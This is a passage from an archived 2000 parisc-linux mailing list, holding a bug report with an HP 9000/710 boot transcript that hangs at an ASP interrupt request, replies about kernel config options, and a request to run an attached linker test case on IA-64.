	for <parisc-linux@puffin.external.hp.com>; Fri, 8 Sep 2000 12:54:26 -0600
Original-Received: (qmail 27422 invoked by uid 15267); 8 Sep 2000 18:54:44 -0000
Delivered-To: thepuffi-parisc-linux@thepuffingroup.com
Original-Received: (qmail 27413 invoked from network); 8 Sep 2000 18:54:44 -0000
Original-Received: from tmbk2.gtri.gatech.edu (130.207.193.130)
  by mailserv2.iuinc.com with SMTP; 8 Sep 2000 18:54:44 -0000
Original-Received: from mindspring.com (localhost.localdomain [127.0.0.1])
	by tmbk2.gtri.gatech.edu (Postfix) with ESMTP id 9B6764988C
	for <parisc-linux@thepuffingroup.com>; Fri,  8 Sep 2000 14:54:38 -0400 (EDT)
Original-Sender: bob@tmbk2.gtri.gatech.edu
X-Mailer: Mozilla 4.61 [en] (X11; I; Linux 2.2.13-7mdk i586)
X-Accept-Language: en
Xref: news.gmane.org gmane.linux.ports.parisc:7917


Hello,

The good news: We are really excited about the Puffin project.

The bad news: We tried to boot an Apollo 9000/710 on your PA/Linux
Developer's
Release CD, Version 0.1 - Snapshot 2000/08/04 and never quite got to a
root
prompt (see transcript below).  Should this be possible or are we
missing
something?

Thanks for any advice,

rstickel@mindspring.com
sts@minitower.gtri.gatech.edu




Transcript of attempt to boot Apollo 9000/710 on Puffin CD.  At the
request_irq(259, c01ec76c, 0x0, asp, c3fcd080)
line the systems hangs.



(c) Copyright.  Hewlett-Packard Company.  1991.
All rights reserved.

PDC ROM rev. 2.0
IODC ROM rev. 2.0
64 MB of memory configured and tested.


Selecting a system to boot.
To stop selection process, press and hold the ESCAPE key.

Selection process stopped.

Searching for Potential Boot Devices.
To terminate search, press and hold the ESCAPE key.

Device Selection      Device Path              Device Type
----------------------------------------------------------------------------

P0                    scsi.6.0                 MATSHITACD-ROM CR-8005A
P1                    scsi.5.0                 IOMEGA  ZIP 100
P2                    scsi.4.0                 iomega  jaz 1GB
P3                    scsi.3.0                 SEAGATE ST11200N SUN1.05
P4                    scsi.2.0                 SEAGATE ST31230N
P5                    scsi.1.0                 IBM     0662



b)    Boot from specified device
s)    Search for bootable devices
a)    Enter Boot Administration mode
x)    Exit and continue boot sequence
?)    Help

Select from menu: a
BOOT_ADMIN> info
----------------------------- Hardware Configuration
------------------------

Machine model: 9000/710

Processor Frequency        = 50000000 Hz
I/O Subsystem Frequency    = 25000000 Hz

LAN Jumper Status: Internal ThinLAN Port selected

Processor Revision                  = 3
System Controller Revision          = 0
Floating Point Coprocessor Revision = 3

Hardware Version            12288     (0x00003000)
Software Version             1153     (0x00000481)

BOOT_ADMIN> boot alt

Trying scsi.6.0
Boot path initialized.
Attempting to load IPL.


Hard booted.
palo ipl bame@noam Fri Aug  4 18:36:35 MDT 2000
0/vmlinux 2349352 bytes @ 0x6e8800
0/palo-cmdline '0/vmlinux TERM=linux HOME=/ root=/dev/scd0'
Kernel: partition 0 file /vmlinux
ELF32 executable

Entry 00100000 first 00100000 n 4
Segment 0 load 00100000 size 1511580 mediaptr 0x1000
Segment 1 load 00272000 size 132368 mediaptr 0x173000
Segment 2 load 00294000 size 86880 mediaptr 0x194000
Segment 3 load 002ac000 size 8192 mediaptr 0x1aa000
branching to kernel entry point 0x00100000
pdc_cons registered !
The Kernel has started...
Free memory starts at: 0xc02dc000
PALO command line: 'TERM=linux HOME=/ root=/dev/scd0'
PALO initrd 0-0
FP CCR was 0x0, will be set to 0xc0
model   00003000 00000481 00000000 00000000 78243572 00000000 00000004
0000000d 00000000
vers    00000003
CPUID vers 0 rev 0
CPU(s): 1 x PA7000 at 50.000000 MHz
Searching for devices in PDC firmware...  an older box...
Found devices:
1. Stinger Optional Graphics (10) at 0xf4000000, versions 0x6, 0x0,
0x77, 0x0, 0x0
2. Bushmaster Core BA (11) at 0xf082f000, versions 0x6, 0x0, 0x70, 0x0,
0x0
3. Bushmaster Core SCSI (10) at 0xf0825000, versions 0x6, 0x0, 0x71,
0x0, 0x0
4. Bushmaster Core LAN (802.3) (10) at 0xf0826000, versions 0x6, 0x0,
0x72, 0x0, 0x0
5. Bushmaster Core HIL (10) at 0xf0821000, versions 0x6, 0x0, 0x73, 0x0,
0x0
6. Bushmaster Core RS-232 (10) at 0xf0823000, versions 0x6, 0x0, 0x75,
0x0, 0x0
7. Bushmaster Core RS-232 (10) at 0xf0822000, versions 0x6, 0x0, 0x75,
0x0, 0x0
8. Bushmaster Core Centronics (10) at 0xf0824000, versions 0x6, 0x0,
0x74, 0x0, 0x0
9. Bushmaster Audio (10) at 0xf1000000, versions 0x6, 0x0, 0x7a, 0x0,
0x0
10. Bushmaster (710) (0) at 0xfffbe000, versions 0x300, 0x0, 0x4, 0x0,
0x81
11. Bushmaster (1) at 0xfffbf000, versions 0x16, 0x0, 0x9, 0x0, 0x0
That's a total of 11 devices.
Linux version 2.3.99-pre8 (bame@noam) (gcc version 2.96 20000707
(experimental)) #24 Fri Aug 4 18:27:58 MDT 2000
initrd: 00000000-00000000
pagetable_init
On node 0 totalpages: 16384
zone(0): 8192 pages.
zone(1): 8192 pages.
zone(2): 0 pages.
trap_init
Calibrating delay loop... 46.08 BogoMIPS
Memory: 61380k available
Dentry-cache hash table entries: 8192 (order: 4, 65536 bytes)
Buffer-cache hash table entries: 4096 (order: 2, 16384 bytes)
Page-cache hash table entries: 16384 (order: 4, 65536 bytes)
kmem_create: Poisoning requested, but con given - bdev_cache
Inode-cache hash table entries: 4096 (order: 3, 32768 bytes)
kmem_create: Poisoning requested, but con given - inode_cache
POSIX conformance testing by UNIFIX
ASP version 1 at 0xf0800000 found.
request_irq(259, c01ec76c, 0x0, asp, c3fcd080)


From - Thu Nov 08 21:13:25 2018
X-Mozilla-Status: 0001
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: David Huggins-Daines <dhd@linuxcare.com>
Newsgroups: gmane.linux.ports.parisc
Subject: [parisc-linux] Looking for an IA-64 Linux user
Date: 08 Sep 2000 18:23:12 -0400
Organization: Linuxcare, Inc.
Lines: 46
Approved: news@gmane.org
Message-ID: <87lmx2ed67.fsf@linuxcare.com>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: multipart/mixed; boundary="=-=-="
X-Trace: ger.gmane.org 1416619118 3488 80.91.229.3 (22 Nov 2014 01:18:38 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 01:18:38 +0000 (UTC)
To: parisc-linux@thepuffingroup.com
Original-X-From: dhd@linuxcare.com  Fri Sep  8 16:23:06 2000
Original-Received: from mailserv2.iuinc.com (IDENT:qmailr@mailserv2.iuinc.com [206.245.164.55])
	by puffin.external.hp.com (8.9.3/8.9.3) with SMTP id QAA29348
	for <parisc-linux@puffin.external.hp.com>; Fri, 8 Sep 2000 16:23:05 -0600
Original-Received: (qmail 27926 invoked by uid 15267); 8 Sep 2000 22:23:24 -0000
Delivered-To: thepuffi-parisc-linux@thepuffingroup.com
Original-Received: (qmail 27825 invoked from network); 8 Sep 2000 22:23:20 -0000
Original-Received: from ottawa.linuxcare.com (HELO localhost) (216.208.98.2)
  by mailserv2.iuinc.com with SMTP; 8 Sep 2000 22:23:20 -0000
Original-Received: from dhd by localhost with local (Exim 3.12 #1 (Debian))
	id 13XWYE-0002PQ-00
	for <parisc-linux@thepuffingroup.com>; Fri, 08 Sep 2000 18:23:14 -0400
Original-Lines: 17
User-Agent: Gnus/5.0803 (Gnus v5.8.3) Emacs/20.6
Xref: news.gmane.org gmane.linux.ports.parisc:7918

--=-=-=

Hi,

This is somewhat of a strange request, but I'm wondering if there are
any people running Linux on IA-64 who could compile and run this test
case for me and send me back the output and resulting binaries:


--=-=-=
Content-Type: application/x-gtar
Content-Disposition: attachment; filename=dltest.tar.gz
Content-Transfer-Encoding: base64
Content-Description: linker testcase

H4sIALpluTkAA+1XXW/bNhT1q/krbpUYlQzblWRbHuxmWOtubQH3A22HIUMAQRUpmxhNCpKcJRjS
394rSv5Ki7h9cIptPHoQRZ57eXQpHVFUFCwvHjWOCdcduKPhEM+uNxq65bnE+ly1R94w8Id9P8C2
5wbDoAHDo6qqscqLKANo0AW9k5cpVdyHnnsGrdZf8I+JUr34KHPgerrBYLC7/rvPged7/Xr98QiQ
5/luMGqAexQ1t/Ct639o/F8KLgWXDFYy53PJKAgl52TOijCN7UvFqUP+IbA/DFQVE0JOeEJZAmHI
+z8FYYisKF+CbcWREOAmF/KicMeQqhRargVjsM4yC2yMdZwJOWGCJ4DxODm1wzAS6SIKQ2eT5WOG
YZ11moPxizTdDy8ldFruN4bzKBjshi/VJU4PZ8BTmEy+Ei4pT5CdsWKVyaogN4SUBYOQS15satdM
My6LxLbO1QN4+XAJUQGtE3F1Ia0O1HUuU26iURL/MvrpNTsUzq4KhlqQD5HM/2bZhJTtBRNC2fEC
H/JYybyA9ipn2V7yFyWlA61cZ9XDk3J5ZbW+VW23dH2DwHOtJdUxuguDtpzyNm5xyq5t8Zp17dZa
b8iPfhX+l6j9/3jm3zjs/97Ar/zf7QeB7yHf64884//3gRMuY7GiDB5TkcSyt/iZbLvygnJVdpGt
q6ApDvxJ1bOMuLS1lWjvale7CLSBctBua+tx9rwH3/+tSVChUia5nKM/lOaBlmzbVQ6cpRq1rd56
c5IrdJF3H2bPwtmTP88dB87O4PXvs5kDKKCZ1FlRM8uyDli/ZpnKoJ4BNjnGa5+jgpUMbZ/NJrtC
0/bK5s2uwPx6ubwlUN+V1oeDtVycTndbB1VN1UpQkKrAb0euxCWrDPp7VH1YsPVaoMG2qI6rbN56
Fl0yy9l1YipiofL9e6j6WC3eubOAdfT3FVBfuNV36Uc/4QZ3ofb/V9FfuBkS7ChzHPB/tzT7av+P
/4le+f/ne67x/3vB9LfZk+fv0c66c+i+8aH7B27fyXSKPfM4JgSvxuPtyw94IqS+VJuBmDRP7enU
0Vli6CZvX06hq+D0Fzh9vOHn2wC1Ccjx64A/FmsydKVCB0IaIUgcwz57wxJUQDej1zJacpQZCxbJ
MW4qlzj5jtx2T0uG9idCem9fvHl9PgbNNbZkYGBgYGBgYGBgYGBgYGBgYGBgYGDwX8ZnJC4XTwAo
AAA=
--=-=-=


Basically I need to figure out how IA-64 handles shared object
constructors and destructors in practice.

Cheers

-- 
dhd@linuxcare.com, http://www.linuxcare.com/
Linuxcare. Support for the revolution.

--=-=-=--


From - Thu Nov 08 21:13:25 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Fredrik Soderblom <fredrik.soderblom@hp.se>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [parisc-linux] Looking for an IA-64 Linux user
Date: Sat, 9 Sep 2000 00:58:57 +0200 (CEST)
Lines: 10
Approved: news@gmane.org
Message-ID: <200009082252.AAA12410@b0fh.sweden.hp.com>
References: <87lmx2ed67.fsf@linuxcare.com>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: TEXT/PLAIN; charset=US-ASCII
X-Trace: ger.gmane.org 1416619119 3494 80.91.229.3 (22 Nov 2014 01:18:39 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 01:18:39 +0000 (UTC)
Cc: parisc-linux@thepuffingroup.com
To: David Huggins-Daines <dhd@linuxcare.com>
Original-X-From: fredrik.soderblom@hp.se  Fri Sep  8 16:52:32 2000
Original-Received: from mailserv2.iuinc.com (IDENT:qmailr@mailserv2.iuinc.com [206.245.164.55])
	by puffin.external.hp.com (8.9.3/8.9.3) with SMTP id QAA29645
	for <parisc-linux@puffin.external.hp.com>; Fri, 8 Sep 2000 16:52:31 -0600
Original-Received: (qmail 20168 invoked by uid 15267); 8 Sep 2000 22:52:50 -0000
Delivered-To: thepuffi-parisc-linux@thepuffingroup.com
Original-Received: (qmail 20147 invoked from network); 8 Sep 2000 22:52:49 -0000
Original-Received: from berserk.sweden.hp.com (15.254.224.2)
  by mailserv2.iuinc.com with SMTP; 8 Sep 2000 22:52:49 -0000
Original-Received: from b0fh.sweden.hp.com (b0fh.sweden.hp.com [15.164.6.26])
	by berserk.sweden.hp.com (8.8.8/8.8.8) with ESMTP id AAA20138;
	Sat, 9 Sep 2000 00:52:46 +0200 (METDST)
Original-Received: from centurion.sweden.hp.com (centurion.sweden.hp.com [15.126.40.94])
	by b0fh.sweden.hp.com (8.9.3/8.9.3) with ESMTP id AAA12410;
	Sat, 9 Sep 2000 00:52:40 +0200 (METDST)
In-Reply-To: <87lmx2ed67.fsf@linuxcare.com>
Xref: news.gmane.org gmane.linux.ports.parisc:7919

On 8 Sep 2000, David Huggins-Daines wrote:

> This is somewhat of a strange request, but I'm wondering if there are
> any people running Linux on IA-64 who could compile and run this test
> case for me and send me back the output and resulting binaries:

i think you can get free access to ia-64 h/w at http://ia-64.sourceforge.net/

fredrik


From - Thu Nov 08 21:13:25 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: David Huggins-Daines <dhd@linuxcare.com>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [parisc-linux] Looking for an IA-64 Linux user
Date: 08 Sep 2000 19:01:58 -0400
Organization: Linuxcare, Inc.
Lines: 13
Approved: news@gmane.org
Message-ID: <87g0naebdl.fsf@linuxcare.com>
References: <200009082252.AAA12410@b0fh.sweden.hp.com>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=us-ascii
X-Trace: ger.gmane.org 1416619119 3495 80.91.229.3 (22 Nov 2014 01:18:39 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 01:18:39 +0000 (UTC)
Cc: parisc-linux@thepuffingroup.com
To: Fredrik Soderblom <fredrik.soderblom@hp.se>
Original-X-From: dhd@linuxcare.com  Fri Sep  8 17:02:04 2000
Original-Received: from mailserv2.iuinc.com (IDENT:qmailr@mailserv2.iuinc.com [206.245.164.55])
	by puffin.external.hp.com (8.9.3/8.9.3) with SMTP id RAA29853
	for <parisc-linux@puffin.external.hp.com>; Fri, 8 Sep 2000 17:02:03 -0600
Original-Received: (qmail 28496 invoked by uid 15267); 8 Sep 2000 23:02:22 -0000
Delivered-To: thepuffi-parisc-linux@thepuffingroup.com
Original-Received: (qmail 28486 invoked from network); 8 Sep 2000 23:02:22 -0000
Original-Received: from ottawa.linuxcare.com (HELO localhost) (216.208.98.2)
  by mailserv2.iuinc.com with SMTP; 8 Sep 2000 23:02:22 -0000
Original-Received: from dhd by localhost with local (Exim 3.12 #1 (Debian))
	id 13XX9j-0002QJ-00; Fri, 08 Sep 2000 19:01:59 -0400
In-Reply-To: Fredrik Soderblom's message of "Sat, 9 Sep 2000 00:58:57 +0200 (CEST)"
Original-Lines: 12
User-Agent: Gnus/5.0803 (Gnus v5.8.3) Emacs/20.6
Xref: news.gmane.org gmane.linux.ports.parisc:7920

Fredrik Soderblom <fredrik.soderblom@hp.se> writes:

> i think you can get free access to ia-64 h/w at http://ia-64.sourceforge.net/

Yeah, I applied for that as it may be useful in the future, but I just
needed something built quickly.  Anyway, Alex William from Ft. Collins
had an IA-64 box handy and I had to work through it a bit on IRC
anyway.  Thanks!

-- 
dhd@linuxcare.com, http://www.linuxcare.com/
Linuxcare. Support for the revolution.


From - Thu Nov 08 21:13:25 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Richard Hirst <rhirst@linuxcare.com>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [parisc-linux] Bug report
Date: Mon, 11 Sep 2000 13:04:23 +0100
Lines: 169
Approved: news@gmane.org
Message-ID: <20000911130423.E950@linuxcare.com>
References: <39B935EE.EEEC23BE@mindspring.com>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=us-ascii
X-Trace: ger.gmane.org 1416619119 3498 80.91.229.3 (22 Nov 2014 01:18:39 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 01:18:39 +0000 (UTC)
Cc: parisc-linux@thepuffingroup.com
To: Robert Stickel <rstickel@mindspring.com>
Original-X-From: rhirst@linuxcare.com  Mon Sep 11 06:03:46 2000
Original-Received: from mailserv2.iuinc.com (IDENT:qmailr@mailserv2.iuinc.com [206.245.164.55])
	by puffin.external.hp.com (8.9.3/8.9.3) with SMTP id GAA15721
	for <parisc-linux@puffin.external.hp.com>; Mon, 11 Sep 2000 06:03:46 -0600
Original-Received: (qmail 29763 invoked by uid 15267); 11 Sep 2000 12:04:09 -0000
Delivered-To: thepuffi-parisc-linux@thepuffingroup.com
Original-Received: (qmail 29746 invoked from network); 11 Sep 2000 12:04:07 -0000
Original-Received: from ppp-1-95.cvx3.telinco.net (HELO rhirst.linuxcare.com) (@212.1.144.95)
  by mailserv2.iuinc.com with SMTP; 11 Sep 2000 12:04:07 -0000
Original-Received: by rhirst.linuxcare.com (Postfix, from userid 501)
	id 5B38FB005; Mon, 11 Sep 2000 13:04:23 +0100 (BST)
X-Mailer: Mutt 1.0us
In-Reply-To: <39B935EE.EEEC23BE@mindspring.com>; from rstickel@mindspring.com on Fri, Sep 08, 2000 at 06:54:38PM +0000
Xref: news.gmane.org gmane.linux.ports.parisc:7921

My 715/75 hangs there if CONFIG_PARPORT_GSC is enabled.  Don't know if that
was turned on on the CD kernel, but it probably was (defaults to on).

Richard


On Fri, Sep 08, 2000 at 06:54:38PM +0000, Robert Stickel wrote:
> 
> Hello,
> 
> The good news: We are really excited about the Puffin project.
> 
> The bad news: We tried to boot an Apollo 9000/710 on your PA/Linux
> Developer's
> Release CD, Version 0.1 - Snapshot 2000/08/04 and never quite got to a
> root
> prompt (see transcript below).  Should this be possible or are we
> missing
> something?
> 
> Thanks for any advice,
> 
> rstickel@mindspring.com
> sts@minitower.gtri.gatech.edu
> 
> 
> 
> 
> Transcript of attempt to boot Apollo 9000/710 on Puffin CD.  At the
> request_irq(259, c01ec76c, 0x0, asp, c3fcd080)
> line the systems hangs.
> 
> 
> 
> (c) Copyright.  Hewlett-Packard Company.  1991.
> All rights reserved.
> 
> PDC ROM rev. 2.0
> IODC ROM rev. 2.0
> 64 MB of memory configured and tested.
> 
> 
> Selecting a system to boot.
> To stop selection process, press and hold the ESCAPE key.
> 
> Selection process stopped.
> 
> Searching for Potential Boot Devices.
> To terminate search, press and hold the ESCAPE key.
> 
> Device Selection      Device Path              Device Type
> ----------------------------------------------------------------------------
> 
> P0                    scsi.6.0                 MATSHITACD-ROM CR-8005A
> P1                    scsi.5.0                 IOMEGA  ZIP 100
> P2                    scsi.4.0                 iomega  jaz 1GB
> P3                    scsi.3.0                 SEAGATE ST11200N SUN1.05
> P4                    scsi.2.0                 SEAGATE ST31230N
> P5                    scsi.1.0                 IBM     0662
> 
> 
> 
> b)    Boot from specified device
> s)    Search for bootable devices
> a)    Enter Boot Administration mode
> x)    Exit and continue boot sequence
> ?)    Help
> 
> Select from menu: a
> BOOT_ADMIN> info
> ----------------------------- Hardware Configuration
> ------------------------
> 
> Machine model: 9000/710
> 
> Processor Frequency        = 50000000 Hz
> I/O Subsystem Frequency    = 25000000 Hz
> 
> LAN Jumper Status: Internal ThinLAN Port selected
> 
> Processor Revision                  = 3
> System Controller Revision          = 0
> Floating Point Coprocessor Revision = 3
> 
> Hardware Version            12288     (0x00003000)
> Software Version             1153     (0x00000481)
> 
> BOOT_ADMIN> boot alt
> 
> Trying scsi.6.0
> Boot path initialized.
> Attempting to load IPL.
> 
> 
> Hard booted.
> palo ipl bame@noam Fri Aug  4 18:36:35 MDT 2000
> 0/vmlinux 2349352 bytes @ 0x6e8800
> 0/palo-cmdline '0/vmlinux TERM=linux HOME=/ root=/dev/scd0'
> Kernel: partition 0 file /vmlinux
> ELF32 executable
> 
> Entry 00100000 first 00100000 n 4
> Segment 0 load 00100000 size 1511580 mediaptr 0x1000
> Segment 1 load 00272000 size 132368 mediaptr 0x173000
> Segment 2 load 00294000 size 86880 mediaptr 0x194000
> Segment 3 load 002ac000 size 8192 mediaptr 0x1aa000
> branching to kernel entry point 0x00100000
> pdc_cons registered !
> The Kernel has started...
> Free memory starts at: 0xc02dc000
> PALO command line: 'TERM=linux HOME=/ root=/dev/scd0'
> PALO initrd 0-0
> FP CCR was 0x0, will be set to 0xc0
> model   00003000 00000481 00000000 00000000 78243572 00000000 00000004
> 0000000d 00000000
> vers    00000003
> CPUID vers 0 rev 0
> CPU(s): 1 x PA7000 at 50.000000 MHz
> Searching for devices in PDC firmware...  an older box...
> Found devices:
> 1. Stinger Optional Graphics (10) at 0xf4000000, versions 0x6, 0x0,
> 0x77, 0x0, 0x0
> 2. Bushmaster Core BA (11) at 0xf082f000, versions 0x6, 0x0, 0x70, 0x0,
> 0x0
> 3. Bushmaster Core SCSI (10) at 0xf0825000, versions 0x6, 0x0, 0x71,
> 0x0, 0x0
> 4. Bushmaster Core LAN (802.3) (10) at 0xf0826000, versions 0x6, 0x0,
> 0x72, 0x0, 0x0
> 5. Bushmaster Core HIL (10) at 0xf0821000, versions 0x6, 0x0, 0x73, 0x0,
> 0x0
> 6. Bushmaster Core RS-232 (10) at 0xf0823000, versions 0x6, 0x0, 0x75,
> 0x0, 0x0
> 7. Bushmaster Core RS-232 (10) at 0xf0822000, versions 0x6, 0x0, 0x75,
> 0x0, 0x0
> 8. Bushmaster Core Centronics (10) at 0xf0824000, versions 0x6, 0x0,
> 0x74, 0x0, 0x0
> 9. Bushmaster Audio (10) at 0xf1000000, versions 0x6, 0x0, 0x7a, 0x0,
> 0x0
> 10. Bushmaster (710) (0) at 0xfffbe000, versions 0x300, 0x0, 0x4, 0x0,
> 0x81
> 11. Bushmaster (1) at 0xfffbf000, versions 0x16, 0x0, 0x9, 0x0, 0x0
> That's a total of 11 devices.
> Linux version 2.3.99-pre8 (bame@noam) (gcc version 2.96 20000707
> (experimental)) #24 Fri Aug 4 18:27:58 MDT 2000
> initrd: 00000000-00000000
> pagetable_init
> On node 0 totalpages: 16384
> zone(0): 8192 pages.
> zone(1): 8192 pages.
> zone(2): 0 pages.
> trap_init
> Calibrating delay loop... 46.08 BogoMIPS
> Memory: 61380k available
> Dentry-cache hash table entries: 8192 (order: 4, 65536 bytes)
> Buffer-cache hash table entries: 4096 (order: 2, 16384 bytes)
> Page-cache hash table entries: 16384 (order: 4, 65536 bytes)
> kmem_create: Poisoning requested, but con given - bdev_cache
> Inode-cache hash table entries: 4096 (order: 3, 32768 bytes)
> kmem_create: Poisoning requested, but con given - inode_cache
> POSIX conformance testing by UNIFIX
> ASP version 1 at 0xf0800000 found.
> request_irq(259, c01ec76c, 0x0, asp, c3fcd080)
> 
> ---------------------------------------------------------------------------
> To unsubscribe: send e-mail to parisc-linux-request@thepuffingroup.com with
> `unsubscribe' as the subject.
> 
> 


From - Thu Nov 08 21:13:25 2018
X-Mozilla-Status: 0001
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Ryan Bradetich <rbradetich@uswest.net>
Newsgroups: gmane.linux.ports.parisc
Subject: [Fwd: [parisc-linux] Bug report]
Date: Mon, 11 Sep 2000 09:19:26 -0600
Lines: 378
Approved: news@gmane.org
Message-ID: <39BCF7FE.E6E0EA3@uswest.net>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: multipart/mixed;
 boundary="------------EF58A87E4F8EE11A82334529"
X-Trace: ger.gmane.org 1416619119 3501 80.91.229.3 (22 Nov 2014 01:18:39 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 01:18:39 +0000 (UTC)
Cc: parisc-linux@thepuffingroup.com
To: rstickel@mindspring.com
Original-X-From: rbradetich@uswest.net  Mon Sep 11 13:03:13 2000
Original-Received: from mailserv2.iuinc.com (IDENT:qmailr@mailserv2.iuinc.com [206.245.164.55])
	by puffin.external.hp.com (8.9.3/8.9.3) with SMTP id NAA18120
	for <parisc-linux@puffin.external.hp.com>; Mon, 11 Sep 2000 13:03:12 -0600
Original-Received: (qmail 25681 invoked by uid 15267); 11 Sep 2000 19:03:26 -0000
Delivered-To: thepuffi-parisc-linux@thepuffingroup.com
Original-Received: (qmail 25670 invoked from network); 11 Sep 2000 19:03:26 -0000
Original-Received: from boispop1.bois.uswest.net (207.108.224.1)
  by mailserv2.iuinc.com with SMTP; 11 Sep 2000 19:03:26 -0000
Original-Received: (qmail 41728 invoked by alias); 11 Sep 2000 16:25:15 -0000
Delivered-To: fixup-parisc-linux@thepuffingroup.com@fixme
Original-Received: (qmail 32200 invoked by uid 0); 11 Sep 2000 15:19:26 -0000
Original-Received: from www.ybsoft.com (HELO uswest.net) (63.224.241.66)
  by boispop1.bois.uswest.net with SMTP; 11 Sep 2000 15:19:26 -0000
Original-Sender: rbrad@mailserv2.iuinc.com
X-Mailer: Mozilla 4.73 [en] (X11; U; Linux 2.4.0-test2 i686)
X-Accept-Language: en
Xref: news.gmane.org gmane.linux.ports.parisc:7922

This is a multi-part message in MIME format.
--------------EF58A87E4F8EE11A82334529
Content-Type: text/plain; charset=us-ascii
Content-Transfer-Encoding: 7bit

Hmm...

I sent this message out last friday, but I haven't seen it show up in my email
box.

So.... here goes again :)

- Ryan
Ryan Bradetich wrote:

> Robert,
>
> I have problems booting the 735/755 when the kernel is built with
> lasi/asp option enabled (it is enabled in the default config).  If I diable
> this option, I can boot the 735/755 to a root prompt.
>
> I do not know if the kernel on the CD was built with this option, but
> you could build a newer kernel with this option diabled and try it
> for the 710.
>
> Hope this helps,
>
> -Ryan
>
> P.S. This is on my TODO list to fix after I work on the U2/UTurn
> code.  If someone else is interested in taking a look at it, let me know
> and I'll pass on the little bit of information I have about this problem.
>
> Robert Stickel wrote:
>
> > Hello,
> >
> > The good news: We are really excited about the Puffin project.
> >
> > The bad news: We tried to boot an Apollo 9000/710 on your PA/Linux
> > Developer's
> > Release CD, Version 0.1 - Snapshot 2000/08/04 and never quite got to a
> > root
> > prompt (see transcript below).  Should this be possible or are we
> > missing
> > something?
> >
> > Thanks for any advice,
> >
> > rstickel@mindspring.com
> > sts@minitower.gtri.gatech.edu
> >
> > Transcript of attempt to boot Apollo 9000/710 on Puffin CD.  At the
> > request_irq(259, c01ec76c, 0x0, asp, c3fcd080)
> > line the systems hangs.
> >
> > (c) Copyright.  Hewlett-Packard Company.  1991.
> > All rights reserved.
> >
> > PDC ROM rev. 2.0
> > IODC ROM rev. 2.0
> > 64 MB of memory configured and tested.
> >
> > Selecting a system to boot.
> > To stop selection process, press and hold the ESCAPE key.
> >
> > Selection process stopped.
> >
> > Searching for Potential Boot Devices.
> > To terminate search, press and hold the ESCAPE key.
> >
> > Device Selection      Device Path              Device Type
> > ----------------------------------------------------------------------------
> >
> > P0                    scsi.6.0                 MATSHITACD-ROM CR-8005A
> > P1                    scsi.5.0                 IOMEGA  ZIP 100
> > P2                    scsi.4.0                 iomega  jaz 1GB
> > P3                    scsi.3.0                 SEAGATE ST11200N SUN1.05
> > P4                    scsi.2.0                 SEAGATE ST31230N
> > P5                    scsi.1.0                 IBM     0662
> >
> > b)    Boot from specified device
> > s)    Search for bootable devices
> > a)    Enter Boot Administration mode
> > x)    Exit and continue boot sequence
> > ?)    Help
> >
> > Select from menu: a
> > BOOT_ADMIN> info
> > ----------------------------- Hardware Configuration
> > ------------------------
> >
> > Machine model: 9000/710
> >
> > Processor Frequency        = 50000000 Hz
> > I/O Subsystem Frequency    = 25000000 Hz
> >
> > LAN Jumper Status: Internal ThinLAN Port selected
> >
> > Processor Revision                  = 3
> > System Controller Revision          = 0
> > Floating Point Coprocessor Revision = 3
> >
> > Hardware Version            12288     (0x00003000)
> > Software Version             1153     (0x00000481)
> >
> > BOOT_ADMIN> boot alt
> >
> > Trying scsi.6.0
> > Boot path initialized.
> > Attempting to load IPL.
> >
> > Hard booted.
> > palo ipl bame@noam Fri Aug  4 18:36:35 MDT 2000
> > 0/vmlinux 2349352 bytes @ 0x6e8800
> > 0/palo-cmdline '0/vmlinux TERM=linux HOME=/ root=/dev/scd0'
> > Kernel: partition 0 file /vmlinux
> > ELF32 executable
> >
> > Entry 00100000 first 00100000 n 4
> > Segment 0 load 00100000 size 1511580 mediaptr 0x1000
> > Segment 1 load 00272000 size 132368 mediaptr 0x173000
> > Segment 2 load 00294000 size 86880 mediaptr 0x194000
> > Segment 3 load 002ac000 size 8192 mediaptr 0x1aa000
> > branching to kernel entry point 0x00100000
> > pdc_cons registered !
> > The Kernel has started...
> > Free memory starts at: 0xc02dc000
> > PALO command line: 'TERM=linux HOME=/ root=/dev/scd0'
> > PALO initrd 0-0
> > FP CCR was 0x0, will be set to 0xc0
> > model   00003000 00000481 00000000 00000000 78243572 00000000 00000004
> > 0000000d 00000000
> > vers    00000003
> > CPUID vers 0 rev 0
> > CPU(s): 1 x PA7000 at 50.000000 MHz
> > Searching for devices in PDC firmware...  an older box...
> > Found devices:
> > 1. Stinger Optional Graphics (10) at 0xf4000000, versions 0x6, 0x0,
> > 0x77, 0x0, 0x0
> > 2. Bushmaster Core BA (11) at 0xf082f000, versions 0x6, 0x0, 0x70, 0x0,
> > 0x0
> > 3. Bushmaster Core SCSI (10) at 0xf0825000, versions 0x6, 0x0, 0x71,
> > 0x0, 0x0
> > 4. Bushmaster Core LAN (802.3) (10) at 0xf0826000, versions 0x6, 0x0,
> > 0x72, 0x0, 0x0
> > 5. Bushmaster Core HIL (10) at 0xf0821000, versions 0x6, 0x0, 0x73, 0x0,
> > 0x0
